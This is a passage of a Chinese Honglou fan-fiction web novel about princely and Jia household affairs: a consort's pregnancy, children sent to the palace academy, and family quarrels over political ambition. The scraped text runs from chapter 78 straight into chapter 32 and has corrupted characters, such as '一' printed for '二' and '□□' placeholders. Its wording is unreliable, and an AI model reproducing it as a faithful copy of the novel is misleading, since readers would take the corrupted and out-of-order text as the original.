雍王又问道:“周太医别的可还说了什么,你这一胎可还稳当?” 雍王妃想到雍王才从周侧妃那里回来,也不知道周侧妃跟雍王说了什么,因此,便说道:“周太医说这一胎还算稳当,略喝两服安胎药就行!不过我想着,我现在就有些倦怠,府里的事务却是没法再一手主持了,我想着,是不是分出一些去,叫几位妹妹管着!周妹妹如今也是侧妃了,倒是可 以多辛劳一些,就怕她想着要个孩子,觉得累赘!” 一说到周侧妃,雍王脸色就是一沉,直接说道:“她那边就罢了,以后别多管那边的事情!” 雍王妃一愣,这是厌了周侧妃?周侧妃到底是哪儿惹了王爷?王爷这人看着脾气不错,其实很多时候颇有些执拗,你要是一不小心,触碰了他的底线,他狠下心来,也是挺无情的。 之前府里也有个侍妾,一度很得雍王的欢心,结果不知因为什么,触了霉头,之后直接被丢到最偏僻的院子里住,不到半年便病死了,再也没人提起过。 雍王妃才懒得对周侧妃展示什么大妇的宽容大度,听雍王这么一说,便说道:“既然周妹妹无心,那便罢了!” 雍王说道:“你也别把谁都当好人,周氏那边,要不是有个三姑娘,就她那个品性,我连侧妃的名头都不想给她留!那就是个不识好歹的,现在不方便,等之后再说吧!” 雍王妃愈发好奇,但也不敢多问,只是说道:“我明白了,王爷放心便是!” 雍王安心地握住雍王妃的手:“你做事,我一向放心的!你既然怀了这一胎,那就安心养着,回头我看看想想办法,能不能叫岳母回京!” 听到这句话,雍王妃几乎要流下泪来,她娘家因着之前的事情获罪,虽说不像是其他人家被流放抄家,却也被夺了官职,打回原籍,耕读度日。虽说运道好,不曾夺了子孙后代的科举资格,但想要回京,那又谈何容易。她低头说道:“此事也就罢了,王爷自己的事情要紧,我娘家那边,好歹等风头过去再说!” 所谓的风头过去,无非就是圣上重新立储,不再追究当年之事,或是新君登基,大赦天下,到时候自然可以不用在乎这些。 见雍王妃这般体贴,雍王愈发感念起来,还是嫡妻好,下面这些侧妃侍妾,一个个都私心太重,就想着自己碗里那点东西,周侧妃更是心大到想要踩王妃一脚,她想干什么?难道以为自己竟然能取而代之不成?这会儿更是温言安慰起来:“岳父他们原本牵扯并不深,等回头我找人探探父皇的口风,若是可以,岳父岳母他们也就能回来了!” 雍王妃点了点头,柔顺地说道:“全凭王爷做主!” 瞧着一向颇有主意的王妃这会儿的柔弱姿态,雍王也是一愣,姿态也变得柔软起来,柔声说道:“别担心,不管怎么样,还有我呢!” 雍王妃口中答应,心中却是一片平静,俗话说得好,男人的话要是靠得住,母猪都能上树!他这些话难道之前没跟周侧妃讲过吗?现在如何?周侧妃在他嘴里,已经变成了居心叵测的祸害。 雍王孩子已经好些个了,哪怕如今这个是雍王妃的,他的兴奋也没保持太长时间,就表示不打扰雍王妃休息,自己这些日子先在前院歇着了! 不过,之后,裘世安却是大张旗鼓送了一大堆东西进了正院,只叫后院一帮侍妾各种疑心,又打听到雍王从周侧妃那里出来的时候神情并不好看,便想着是不是周侧妃惹恼了雍王,雍王忽然 觉得前阵子偏宠周侧妃,冷落了正院,所以想要好好补偿一下王妃! 平王府那边,孙嬷嬷亲自带着谢礼过来,顾晓笑着问道:“嬷嬷这般,想来是好消息?” 孙嬷嬷脸上如同开了花一般,笑道:“可不正是喜事,若不是太妃娘娘提醒,我们娘娘还拖着呢!” “那也是迟早的事情,我多一句嘴,不过是叫嫂子早知道一会子罢了!”顾晓也不居功,只是笑道,“太医瞧了,觉得如何?” 孙嬷嬷忙说道:“胎像倒是稳当,就是我们娘娘胃口不开,懒怠饮食,等再过一阵子,只怕又要孕吐了,若是什么都吃不下,难免影响腹内胎儿,太医说是让找一些开胃的东西,总归多吃一点都是好的!” 顾晓想了想,说道:“我这边倒是做了些零嘴和小菜,嫂子若是不嫌弃,可以尝尝看!”说着,便叫人端了几小坛川式泡菜还有几匣子蜜饯果脯,肉干肉脯之类的放到几个大攒盒里,放到孙嬷嬷面前。 孙嬷嬷忙谢道:“劳烦太妃娘娘费心!” 顾晓笑道:“一句话的事情,算什么费心了!这泡菜是蜀中那边的做法,不光能泡素的,也能泡荤的,我将方子也附上了,若是吃着好,叫府里厨房自己做就行,快得很!” 孙嬷嬷连忙说道:“别的也就罢了,这方子却是传家的好东西,奴婢可不敢要!” “又不是给嬷嬷的,那是给我嫂子的!我们府里难道还要靠着泡菜出去挣钱不成,都是自家渍了自家吃罢了!”顾晓说道。 孙嬷嬷推脱不过,也觉得自家做了更放心,只得将方子收了下来,嘴里千恩万谢,之后才带着一大堆东西回了雍王府。 正巧雍王府那边不多久也到了吃晚膳的时候,厨房那边略尝了尝孙嬷嬷带回来的泡菜,的确咸酸开胃,当下便选了几样炒了菜,甚至还在之前做好的鸭汤里面放了几块酸萝卜,一股子酸香便扑鼻而来。 夏天的确适合吃一些酸辣的东西,雍王妃闻到那霸道的酸香,便有些口舌生津,难得觉得腹中饥饿起来,原本觉得有些腻味的老鸭汤一连喝了两碗,这才罢了,只看得孙嬷嬷喜不自禁,合十连声念佛。 “果然隔壁太妃娘娘是个会吃的,要不然,娘娘今儿个又吃不下什么东西了!”孙嬷嬷赞道。 雍王妃也是叹道:“却又欠了七弟妹一桩人情!” 孙嬷嬷笑道:“这有来有往,人情那是越欠越厚呢!” 雍王妃也是一笑:“嬷嬷这话说得有理!之前七弟妹不是说要借匠人回去造船嘛,回头便先给弟妹送过去!他们府上应该也没什么适合造船的好木头,现买也不容易,我记得之前王爷买得多,先从咱们库里拿了,给隔壁送过去吧!” “我瞧着隔壁太妃娘娘不是个喜欢占便宜的,只怕不肯白要!”孙嬷嬷自然觉得自家娘娘肚子里这一胎,比多少画舫都强,但想到顾晓的性情,便忍不住说道。 “正是这样,我才愿意跟七弟妹多往来呢,真要是那等占便宜没够的,我还懒得理会! ”雍王妃说道,她要是给钱?,就报个实在的价格便是,回头两家往来的日子多着呢,也不急在一时!” 孙嬷嬷便答应了下来,瞧着雍王妃吃过饭之后有些困倦,忙叫人铺床打扇,伺候着雍王妃睡了下来,自个悄悄地出了门,给外头传话去了。 正院的事情少有瞒得过雍王的,听了雍王妃的处置,雍王也是点了点头,说道:“既然王妃这么说,那便这般吧!”他琢磨了一下隔壁的情况,说是孤儿寡母,其实日子过得挺不错,还有心琢磨新鲜的吃食,这么一想,他就开始同情那个死了的弟弟了。不过,那等不识好歹的蠢货,也没什么好同情的。 有喜这种事情,说是三个月内不要对外说,但是很多迹象都能看出来,不过几天时间,起码雍王府里头大小主子就都知道了。 从弘文馆回来的徒嘉珩只乐得恨不得在屋里翻跟头,他早就羡慕徒嘉钰有个同母的弟弟了。跟平王府不同,徒宏远死得太早,哪怕是徒嘉泽,跟他都没什么感情,顾晓将其他的孩子虽说不当是自己亲生的,但就是当做亲戚家的孩子,也乐意让徒嘉钰与这些兄弟姐妹们往来,饶是如此,徒嘉钰也是跟末儿更加亲近。 而在雍王府,徒嘉珩和其他的弟弟妹妹之间关系就没这么密切了,徒嘉珩前两年就去了弘文馆,跟下面的弟弟妹妹之间相处本来就很少,要不是去年的时候开始跟徒嘉钰他们一起玩,他们几乎就很少会凑到一起。如今有个跟自己同母所出的弟弟或妹妹,只要一想,徒嘉珩连睡觉都要忍不住笑出声来。 可对于其他人来说,这根本不是什么好事。如果一个府里只有一个嫡子,这个自然是降一等袭爵,庶子的话,怎么着都有个辅国将军的爵位,甚至运气好,混个镇国将军也不是不行!可是,若是多一个嫡子,那么庶子的爵位,就得再往下压。有女儿的也是一样,亲王嫡女封郡主,其他女儿能封个县主都是运道,多半一个乡君就打发了!而若是没有嫡女,庶女的机会可就大得多。爵位不同,不光分到的嫁妆不同,连婚事上头差距都很大。县主的丈夫还能混个仪宾,到了乡君,就是个面子上的功夫,压根没多少实惠可言。这等爵位不上不下的,若是府里私下准备的嫁妆不够丰厚,在家也不得宠的话,那婚事真的是个难题。 如此,这会儿哪怕大家对雍王妃都颇为敬服,有儿女的几个侍妾顿时就有些不安起来。原本想着周侧妃似乎惹了王爷不喜,说不定她们因为有子的原因还能更进一步,但若是王妃剩下嫡子,就算她们位份高一级又有什么用,将来孩子的爵位定然会受到影响。 只是,她们再着急也是无用,雍王妃掌管王府中馈多年,这些侍妾根本翻不出她的手心去。何况,为了安抚这些侍妾,雍王妃还将一部分管家的事务发放了下去,都是一些琐碎的活计,但是也有一些油水,这些侍妾琢磨一下,觉得与其惦记着未来的爵位,不如趁着现在先多积攒一些私房,也好给孩子将来增加一点底气。 等着雍王妃这一胎正式满了三个月,对外放出风声的时候,给各府的圣旨也下 来了。 圣上对皇孙还算是体贴,叫他们八月再正式入弘文馆上学,这个时候天气已经凉爽下来,孩子们也更容易适应。而对唯一请求赐名的平王府,圣上说慈爱吧,的确也给了恩典,但是叫做徒嘉玕,这个名字算不得很好,玕,也就是琅玕,像珠子一样的美石,说是珠玉,其实还是石头。 能有个赐名就算是不错了,各府的嫡子才能捞到一个从玉的赐名,像是庶子都是自家起的,都不会选带玉的字,而是从五行里头挑。 不过这是也是难免,末儿生下来没几天就没了父亲,在大多数人看起来,的确算不得好命,名字自然不能起得太大,得略微压一压。 顾晓倒是不在意这个,只是笑眯眯地看着末儿,笑道:“末儿,你以后也有大名了,高兴吗?” 末儿对此倒是没什么想法,徒嘉钰却是兴奋地给末儿将名字写了下来,一个字一个字地指给末儿看,结果末儿一看,每个字都那么复杂,直接头一转,直白地表现出了不感兴趣。 徒嘉钰瞪大了眼睛,说道:“末儿,你来年也该启蒙了,到时候若是连自己的名字都不认识,那怎么行呢?”说着,又看向了顾晓:“妈,你也不管管他!” 顾晓掩口笑道:“有道是长兄如父,他名字都是你请旨求下来的,以后,他可不就是你的责任了?” 徒嘉钰脸色一苦,不过很快就坚定起来,转头看向末儿,摆出一副苦口婆心的模样,说道:“末儿,听到没有,妈妈将你的事情交给我了!你也该启蒙了,等回头我从弘文馆回来,就先教你念书,等明年开春,就送你去前头季先生那里!” 末儿一听能去前头,顿时就来了精神,他才不管什么伯先生,季先生的,只要能到前头玩,怎么着都开心,当下便是拉着徒嘉钰说道:“哥哥,我要去前头!” 徒嘉钰眼睛一转,想到徒嘉泽那里为了上学的事情,也拖了很久了,因此便笑道:“好末儿,你现在小,一个人去前头,也没个说话的,不如去问问你二哥,肯不肯跟你一块去,他要是去了,你也过去,又能一起念书认字,又能一起玩,岂不是好?”! 第 78 章 比起什么都不知道的末儿,徒嘉泽才不喜欢读书。 他如今就是跟着两个嬷嬷,认识了几个字,还有玩游戏的时候,徒嘉钰教了他一些,完完全全就是个小文盲。但是他之前跑到前头看过徒嘉钰与贾瑚一起读书,那叫一个辛苦。他从小被拘得很了,如今身体一好,只想到处撒欢,根本不想被关在学堂里头念书,那跟他以前身体不好的时候只能坐在炕上玩玩具有什么区别。对,还是有的,玩玩具还有点乐趣,学习只会让他疲累! 结果末儿跑过来表示,自己想要去前头上学,所以他也得一起去,徒嘉泽一下子就傻眼了。 末儿足足比他小四岁,现在都要读书了,徒嘉泽再想要耍赖都显得有些没道理,只得劝末儿:“好末儿,读书一点也不好玩,得坐在屋里,动也不能动,老老实实念书写字!” 末儿却说道:“可哥哥说了,只要我去前头读书,那里的秋千滑梯还有爬架之类的,就都是我的了,我还可以带白白和花花一起去玩!” 之前种痘的时候,原本造出来的那些都当做柴火处理掉了,如今这些都是后来建造的。徒嘉钰如今愈发有了自己的审美,跟贾瑚凑在一起,充分发挥了他们的想象力,将工匠们折腾得□□,在前院建造的这些都非常有特色,末儿眼馋了好久,只是顾晓却没再给他做,表示,他想要新的,就等他去前头单独居住之后,自己画图纸让工匠去做,而且想要更换,就得用自己的月钱,末儿虽说暂时还不明白月钱有什么用,但是却知道,在自己搬出正院自己住之前,只能先玩正院这些,最多就是跑到西院和风荷院跟哥哥姐姐们交换玩。 如今贾瑚肯将自己那些都给他,末儿自然很心动。何况,他如今就是个上托班的孩子,去前头所谓的读书,也就是听季先生讲讲故事,认识几个字罢了,也不可能全天让他在那里学习,一天顶多就一两个时辰,下午就可以自己安排。 所以,在他看来,到前头其实就是去玩的,他怎么会相信徒嘉泽的话,见徒嘉泽不乐意,就跟着徒嘉泽,一直絮絮叨叨。徒嘉泽可以对李氏奶娘的话充耳不闻,甚至直接跑路,但是对上末儿这样的做派,却是半点办法也没有。 眼见着末儿很有一直在他身边蹲守的迹象,徒嘉泽只能是徒呼奈何,垂头丧气地说道:“好吧,好吧,我去读书就是!但是先说好,别指望我跟大哥一样,我又不用进弘文馆,将来也不需要考什么科举,什么四书五经的,知道个大概就行了!” 末儿莫名其妙地看着他,徒嘉泽愈发沮丧起来:“我跟你说这些做什么,走吧,我们先去找大哥!” 徒嘉钰也就是让徒嘉泽去读书,他早就跟季先生商量过了,无论是徒嘉泽和末儿,完成基本的教育之后,就看他们的喜好,学些杂学就可以。季先生放弃科举之后,就开始转向诸多杂学,他给人做西席,私底下还曾经给戏班子写过唱词,可谓是多才多艺了。 他如今年纪大了,王府给的待遇也好,活也轻松,留在这边,也能指点 贾瑚一些科举之道,干什么要多事换个东主呢? 既然王府对徒嘉泽和末儿的要求都不高,那么干脆因材施教便是,将贵族公子可能用得到技能都教一教便是,他们这样的人家,能根据韵脚,作几首说得过去的命题诗,平常在外头交际,能搞清楚大多数酒令,不至于丢丑,其他的只要能鉴赏就行。季先生琢磨着,教这些还是挺容易的,总比那些人家,明明孩子不是读书的料,非要西席教出个秀才举人来,这到底是为难谁呢! 这会儿徒嘉泽带着末儿跑过来找徒嘉钰讨价还价,结果就轮到徒嘉钰拿捏起来了。 他年纪不大,言语做事已经极有章法,徒嘉泽比他小了也就一岁多,却差了许多,这会儿一开口,就被徒嘉钰听出了他的想法。 徒嘉钰干脆就说道:“你说得没错,咱们家的孩子,的确不需要科举入仕,你成年了就有爵位,有爵产,有俸禄。可你不能天天待在家里不出门,你得出去交际。哪怕是吃喝玩乐呢,也得有个章法,不能被别人说成是不学无术,惹人笑话!” 徒嘉泽听到这里,就有些发怵,但还是色厉内荏地说道:学这些可以,但是学业可不能太繁重!大哥你知道我的,我可是先天不足,要是学业太重,小心我病给你看!?” 徒嘉钰听得好笑:“行啦,你什么样子,我能不知道,你总不能还不如末儿吧!府里之后还要给佳婉和佳姝请女先生,你一个男子,总不能学业上头连姐妹都不如!” 徒嘉泽哭丧着脸,说道:“这可说不准,我到今天还没认识多少字呢,我听说佳婉和佳姝已经学了三字经了!真要是比不得她们,那我可怎么办?总不能从早学到晚吧!” 徒嘉钰摆出一副沉思的模样,然后说道:“你跟两个妹妹年龄相差不多,说不定还真有些比不得她们!不过也罢,不叫你与姐妹们相比,我回头跟季先生说好,只要你能完成季先生布置的任务,那当天就可以随便玩,如何?” “任务重吗?”想到徒嘉钰之前写字,动不动就是五张、十张大字,徒嘉泽立马就追问道。 徒嘉钰笑道:“季先生心中有数,只是你也得书写端正才是。以后你也是有爵位的人,逢年过节也该上折子请安朝贺,若是字写得差了,难免要被人看轻了!” 徒嘉泽听了,琢磨了一下,只需要书写端正,那应该没什么问题,他顿时松了口气,说道:“既是如此,那倒也罢了!” 末儿在一边听着两个哥哥你来我往,连忙问道:“那我上学学什么?” 徒嘉钰笑道:“你且还小着呢,每天认识几个字就行!” 末儿想到自己那复杂的名字,赶紧问道:“都跟我的名字一样难吗?” 徒嘉钰怕他还没上学就生出厌学之心,赶紧说道:“怎么会,一开始都是比较简单的字,末儿你学了就知道了!到时候,就不用妈妈和哥哥给你讲故事,你就可以自己看了!” 末儿听了,略微被激起了一点雄心,不过还是先开始关心徒嘉钰许诺给他的那些大玩具 ,这会儿忙说道:“那哥哥,你之前说的那些,该算数吧!” 徒嘉钰笑道:“当然算数了!”他现在虽说依旧还喜欢玩一玩,却不像以前那样了,既然自己要去弘文馆读书,那么,这些留给自己的弟弟又如何?难道自己回来的时候想要玩一下,弟弟还会不让吗? 徒嘉泽顿时就有点酸:“大哥你好东西都给末儿了,难道就没有留给我的?” 徒嘉钰露出了一点恶意的神情来,说道:“当然有啊!”说着,便扬声叫道:“洗砚,去把我之前给一公子准备的礼物拿过来?” 徒嘉泽还在琢磨着徒嘉钰准备的是什么,结果看到徒嘉钰的神情之后,就有点不安,不过还是坐在那里等着徒嘉泽身边的小厮洗砚将一个描金黑檀箱子捧了进来,然后就当着徒嘉泽的面打开,笑眯眯地说道:“这里面是我之前用过的几本字帖,还有一整套的笔墨纸砚,连同笔架、砚滴、笔洗、镇纸都有,怎么样,这可比末儿那些玩具用心多了吧!” 论起价值,自然是这些文房用具更加高昂,哪怕不是古董,也都是市面上的精品,但是徒嘉泽的脸色却简直像是见了鬼一样,他缺这些东西吗?他虽说还没真正入学,但是前两年就开始收到这些礼物了好不好!何况,他满月和周岁的时候,徒宏远还送了一些给他。他要的是玩具,不是文具啊! 不过徒嘉钰一副我都是为你好的架势,徒嘉泽只得苦着脸,说道:“那就多谢大哥了,以后我就用这些去上学!” 徒嘉钰被徒嘉泽逗乐了,不过还是许诺,只要他好好学习,回头自己的玩具,随便徒嘉泽挑! 虽说有了这么一个盼头,但是徒嘉泽依旧没有期盼的意思,他觉得学业这种东西,过得去就行了,犯不着让自己为难,他好不容易身体好起来了,不把好吃的都吃一遍,好玩的都玩一遍,那得多亏啊! 徒嘉钰哄着两个弟弟上学,顾晓这边也在叫人准备他去弘文馆的东西。 弘文馆在皇城之中,要是天天上学放学,耗费的时间就不少了,因此,弘文馆的规矩是五日一休,然后各种节假日也会放个两三天,腊月里头跟衙门一起封笔,等着朝廷开印了再开课,说起来,压力也不算很大。 不过刚入学的孩子其实都有点难以适应,毕竟,一个个在家都是小主子,放到弘文馆之后,虽说不至于都得独立生活,却也只有两个太监照料,最多加上伴读。但是伴读一般也是年纪差不多的孩子,也都是大家出身,能有多少照料人的能力!宫里饮食起居,肯定也不如家里一样舒服。要是宫里有靠谱的长辈照顾还好,要是没有,那真的是只能靠自己。刚入学那会儿,多有孩子偷偷在屋里哭的。 宫里那位李才人肯定是靠不住的,她自个还照顾不好自个呢,更别说是孙子,她也没资格过问弘文馆的事情。顾晓倒是不怕徒嘉钰学习不好,主要是有个比较上进的贾瑚,人家一门心思要继承外祖家的门风,科举入仕的,素来用功,带着原本不需要这般的徒嘉钰也比较用心。 顾晓怕的就是孩子生 活上受了委屈,因此,这会儿正在叫人准备各种零嘴还有生活用品。 “香炉什么的就算了,也不方便带,那两个香熏球,到时候挂在帐子里就行!”顾晓是住过集体宿舍的人,虽说在弘文馆算不得集体宿舍,但是卧室也不会很大,哪怕原本一人一张床,但是刚过去的人往往会选择跟伴读挤一块睡。 如今虽说天气已经有些冷了,但是难免还会有些蚊虫之类,用个香熏球,里面放上一些清淡驱蚊安神的香丸,省得孩子受罪。 “赏钱什么的不要太多,弘文馆里有规矩,刚去打赏一次也就差不多了,之后按照规矩来就是!”顾晓之前就找隔壁雍王妃打听过了,这会儿只放了几个装着金银锞子的荷包,然后就是几个装吃食的匣子。一个匣子里装着的是水果糖和薄荷糖,都用糯米纸包好,再用油纸分装;一个匣子里是三个瓷罐,分别放了芝麻糊、藕粉和面茶,吃的时候用热水调一下就行;另外几个匣子,分别放着肉松,肉干和肉脯,都有几种口味。 弘文馆里读书也有点心的份例,不过宫里的点心嘛,除非是各处自个点的,否则的话,都是看起来好看,吃起来未必中吃,而且也很少会换什么花样,徒嘉钰在府里嘴早就养刁了,让他天天吃那些,肯定是不行的,所以,多带点零嘴过去,也能换换口味。最重要的是,可以迅速跟其他小伙伴熟悉起来。 顾晓这边惦记着吃食,吴嬷嬷那边却在指挥大家给徒嘉钰准备足够的衣服鞋袜。在宫里想要沐浴可没有在府里方便,因为顾晓的习惯,便是冬天,她最多隔两三天也会洗一次澡,像是那种不洗头,只靠篦子篦头发这种事情,在顾晓这里是忍不了的,她也很讨厌头油那种感觉,出门见客宁可多用发夹让头发保持整洁。 因着顾晓这样的习惯,徒嘉钰和末儿也都是很爱干净的孩子,只是在宫里,夏天或许还能天天沐浴,放在其他季节,你要是每天要水洗澡,都要被人批一句虚耗人力了。 所以,多准备一些布巾擦洗身体,勤换衣服,就非常必要,就算是不想用宫里的浣衣房,也可以带回来自家清洗。 跟顾晓一样,荣国府那边,张氏也在给贾瑚张罗要带进宫里的东西。贾瑚只是伴读,能带进去的东西也有限,免得被人说成是娇气。若是贾赦,他娇气那是理所当然,他虽说没在弘文馆读过书,小时候也是经常行走宫廷的,像是徒宏远那样的,遇上贾赦都得容让一一,毕竟,贾家是真的战功赫赫,手里的权柄即便是皇帝,也得忌惮一一。 可是贾瑚运气不好,有实权的祖父没了,父亲就是个老纨绔,还是个家里蹲,贾家的影响力每况愈下,外家又流落在外,贾瑚哪有多少在宫廷嚣张的资格。 张氏因此给贾瑚准备的东西都比较低调且实用,总之,在保证贾瑚能过得舒服的情况下,不要惹人注意。 倒是贾史氏似乎比较激动,她总觉得贾瑚进入弘文馆读书,就意味着一条接近宫廷的道路,她很想要让这个孙子趁机与徒宏憬勾搭上,以后就是从龙之功。 结果她这 话才说出口,迎来的就是贾赦的勃然大怒。 “当日儿子跟着义忠亲王,难道不是家里让的?”贾赦冷笑道,“结果出了事,便都是儿子的不是!如今我这边为了这事落得这个田地,现在母亲又将主意打到我儿子头上了?怎么着,我们大房去打前站,胜利了,大家一起富贵,输了,就我们大房背锅?母亲,你要坑儿子,也得换个人坑吧!你要是想要再来一次从龙之功,那也好办,咱们立刻分家,你带着一房,随你们支持谁,我们大房那可就不奉陪了!” 贾史氏只气得嘴唇直哆嗦:“你这孽障,我难道不是为了府里好!如今府里就个空头爵位,你又文不成武不就的,指望瑚哥儿他们科举出仕,又哪是那么容易的!那些文官也不能保证家里子弟能在科举里头走多远,何况是咱们这样的人家!” 张氏却是直接站起身来,说道:“老太太这话却是说得差了,便是瑚哥儿没法取得什么功名,儿媳也绝不让他掺和到这等事情里!老太太以前嫌弃我们张家不是什么高门贵族,那么,既然那样的日子张家能几代人熬过来,我们大房就也能熬过来!再不济,我到时候求了太妃娘娘,叫瑚哥儿在王府做个侍卫也能养家糊口!” 这两口子一点也不给贾史氏留面子,王氏在一边低着头,一声不吭,心中却是冷笑,如今自己这个婆婆也只能在她面前显露一下婆母的威风,谁让王家如今已经跌倒泥里了呢?西北那边一月传了信回来,说是王子胜喝酒喝多了,竟是掉进了沟里,第一天发现的时候,人都冻硬了。 王子胜夫人之前才生下了女儿王熙凤,儿子王仁年纪也小,如今也不好长途跋涉,最后连奔丧都没去,只是留在京中宅子里守孝,王子胜的丧事还是王子腾打理的。至于王子腾,如今也算是扑腾出了一点前程,但不过就是个试百户,放在边关勉强算是个小军官了,放在京里,算什么呢! 王氏如今在府里愈发沉默起来,贾史氏说什么就是什么,从来不敢有所违背。贾史氏如今拿捏不住大房,为了保证自己在府里的权威,只能愈发想办法抬举一房,王氏既然肯听话,她虽说嘴上各种嫌弃打压,但给的好处却从来不少。王氏也是个能屈能伸的,只要能坐稳一太太的位置,护着一双儿女,那么就算是被贾史氏说成蠢货,那又如何呢?贾史氏倒是聪明,不还是跟大儿子离了心?弄得在家里还得玩什么拉一派打一派的勾当! 贾政倒是想开口,却被贾赦阴森森的眼神给吓住了,贾赦的意思很简单,你们一房别想打着老太太的名头叫我们大房做出头鸟,你们想要从龙之功,那就自个想办法,别指望我们大房给你们做垫脚石。 贾赦带着张氏扬长而去,留下贾史氏气得砸杯子:“孽障,不孝子!” 贾家如今也已经出了孝,贾政也到工部当差去了。结果进了衙门,他就发现这个职位跟自己想的一点也不一样,他以为工部的官员就是发号施令的,结果他进去之后才发现,他被分派到料估所,他得去看图纸,算开支。他要是去礼部,还能混过去,但是这种专业性比较强的衙门,他真的是两眼一抹黑。光是看京中各处工程,他就根本都看不明白,更别说估算修缮所需要的砖石木料了! 他一开始还想要努力一把,但是数学这玩意,对于一个从小到大都没怎么学过的人来说,那真是太难了,说不会就是不会!他本来也不是什么性情坚韧的人,很快就完成了从努力到放弃的转变,如今一应事务,全推给了下面的小吏,自个完全就摆烂了。 他也亏得只是一个主事,要是上头的郎中,那可就完蛋了,不知道得背多少锅才好!下面那些胥吏最喜欢的就是这种啥也不懂的主官,他们就可以趁机中饱私囊。工部这些东西,猫腻是真的太多了,别的不说,你现在说,某一处宫殿有根柱子朽了,需要换新的,但实际上柱子没问题,不怎么黑心的,就将柱子重新刷一下漆就当做换过了,黑心一点的,能直接将柱子拆了然后卖掉,换上陈木头,之后还能再报损一次甚至多次。 总之,贾政在工部,压根没有感受到半点工作上的成就感,他很想挪个位置,但是凭他自己,根本没这个能力,他倒是对从龙之功很感兴趣。 只是贾赦不肯上当,贾政这边也是无可奈何,毕竟,进宫做伴读的又不是他儿子! 贾史氏神情幽深,她看了一眼贾政,直接吩咐道:“元丫头也不算小了,她人生得好,是个美人胚子,今年宫里应该会放人出来,选两个靠谱的嬷嬷请回来吧!”! 第 32 章 三章合一 《红楼太妃要躺平》全本免费阅读 王家兄妹四人,都是嫡出,作为长子的王子胜,就是典型的纨绔子弟。吃喝玩乐很在行,正事是一点也指望不上的。 相比较而言,次子王子腾就出息得多,弓马娴熟,又肯吃苦。因此,王家原本的打算就是让王子胜继承家里的财产,而让王子腾继承家里的人脉。 王子胜对此倒也没有什么想法,以王家这么多年来积攒下来的家业,足够他花天酒地败一辈子的了! 荣国府与王家结亲之后,张氏也曾与王家兄弟两个打过照面,还听说过他们的一些事情,因此,再想要搞事的时候,第一时间选择了王子胜作为突破口。 不过,不等张氏这边的动作见效,荣国府迎来了已经数年不曾回家省亲的姑奶奶贾敏。 之前贾代善去世,贾敏那时候还在江南跟丈夫林如海一起守制。 林如海也是倒霉,好容易高中探花,原本在翰林院待个几年,以他的家世背景和人脉关系,加上本身的才学能力,自然很容易就能更进一步。 结果还没到熬出头,林如海的母亲就去世了,他不得不带着贾敏回乡丁忧守制。当然,也许这也是幸运,他要是前几年留在京城,多半也会被卷入夺嫡之争中。 在姑苏听说贾代善去世的消息,贾敏差点没哭晕过去,可是礼法所限,连回京给生父奔丧都是不能,只能打听着贾赦、贾政他们一行扶灵回乡的消息,夫妻两个一起去金陵祭奠了一番,算是聊表孝心。 做女婿的给岳父守孝也就是三个月,贾代善还没下葬,这三个月时间就已经过去了。林如海就算对自家岳父有些孝心,也得多想想林家的前途。 林家林如海这一脉已经是五代单传,林如海的父亲还能蒙皇恩多袭一代爵位,到了林如海,就只能靠自己。林家宗族跟林如海这一支的血脉已经比较远,族里也没什么出息的族人可以依靠。林如海虽说是一甲探花,但是不包括恩科,三年就能出一个探花,委实算不得稀奇。 不趁着如今因为宫变,不少官员被牵扯进去,还有许多好缺的时候赶紧进京走动,等到来年,黄花菜都要凉了。 因此,尽管天寒地冻,林如海还是带着贾敏,匆匆忙忙赶赴神京,想要第一时间去吏部登记,然后再跟诸多亲朋故交走动一番,好给自己选个合适的官职。 嫡亲的姑母回家省亲,张氏那边便派了人提前接了贾瑚回去,等见过了姑父姑母之后,再送他回王府读书。 徒嘉钰与贾瑚那叫一个依依不舍,徒嘉钰如今也知道荣国府的一些情况,很是为小伙伴觉得委屈。因此,在贾瑚回去之前,他直接拿了自己一块玉佩塞到贾瑚手里,说道:“这块玉佩你拿着,上面还刻着我的名字呢,回头谁要是敢欺负你,你就把玉佩拿出来,到时候我给你出气!” 贾瑚对贾敏并没有任何印象,也不知道姑母对自己母子是个什么态度,因此,这会儿对于回去之后会遇到什么情况也是两眼一抹黑,如今有小伙伴的玉佩在,他自觉多了几分底气,当下谢道:“嗯,真要是有人欺负我,我立马就将玉佩拿出来!” 周嬷嬷在一边看着,忍不住想要笑,又暗中叹息,王府与贾瑚来说不过是远亲,尚能及时援手,贾家如今都到这个田地了,还为了那三瓜俩枣恨不得自杀自灭呢! 贾瑚这一走,徒嘉钰就有些闷闷不乐起来,连逗弄末儿和鹦哥都提不起劲。 “妈,你认识瑚哥儿的姑母吗?”食不知味地吃过饭,徒嘉钰忍不住问道。 顾晓原身还真见过,还是贾敏出嫁之前,张氏带着贾敏回娘家参加赏花会,顾晓那时候也刚定了亲,在家觉得烦闷,就出来凑热闹,因此见过贾敏一面。 不过顾晓对贾敏并没有多深刻的印象,毕竟,那会儿贾敏被张氏带到未婚小姑娘圈子里头去了,两人就是打了个招呼,之后便再也没什么往来。 不过,为了安抚徒嘉钰,顾晓还是说道:“瑚儿的姑母是荣国府的四小姐,是个斯文有礼的姑娘,我记得她未出嫁的时候,与瑚儿的母亲很是要好,所以啊,不用担心瑚儿回去,被他姑母为难!” 徒嘉钰顿时松了口气,然后又忍不住问道:“瑚儿姑母嫁得很远吗?” 顾晓摇了摇头,说道:“这倒不是,只是如今女子不易,嫁人之后,就要嫁鸡随鸡嫁狗随狗,丈夫出去做官,也得跟着去任上,帮着打理内宅,与其他官眷交际。要不就是得留在老家,帮着丈夫侍奉公婆,照料小辈,夫妻多少年都难得一见!” 徒嘉钰忍不住瞪大了眼睛,就听顾晓说道:“所以,你以后要是有了妻子,就得多体谅一下人家,明白吗? ” 徒嘉钰还没到知道男女之情的时候,他只是小大人一样撇了撇嘴:“知道啦,我肯定不会欺负她的!” 一时间,屋里的人都笑了起来。 …… 而贾家那边,林如海贾敏夫妇二人已经非常低调地从侧门进了荣国府。 不说本身的亲戚关系,单说林如海本身就是个前途无量的年轻人,因此,听得女儿女婿已经进了大门,贾史氏就带着两个儿媳妇还有孙子孙女在荣禧堂等候起来。等着两人进了二门,贾史氏就带着人出了荣禧堂。 林如海与贾敏赶紧快步上前行礼,贾史氏瞧着女儿比起离京的时候,看着清减了许多,便是老泪纵横:“回来了啊,回来就好!快,外头冷,咱们先进屋!” 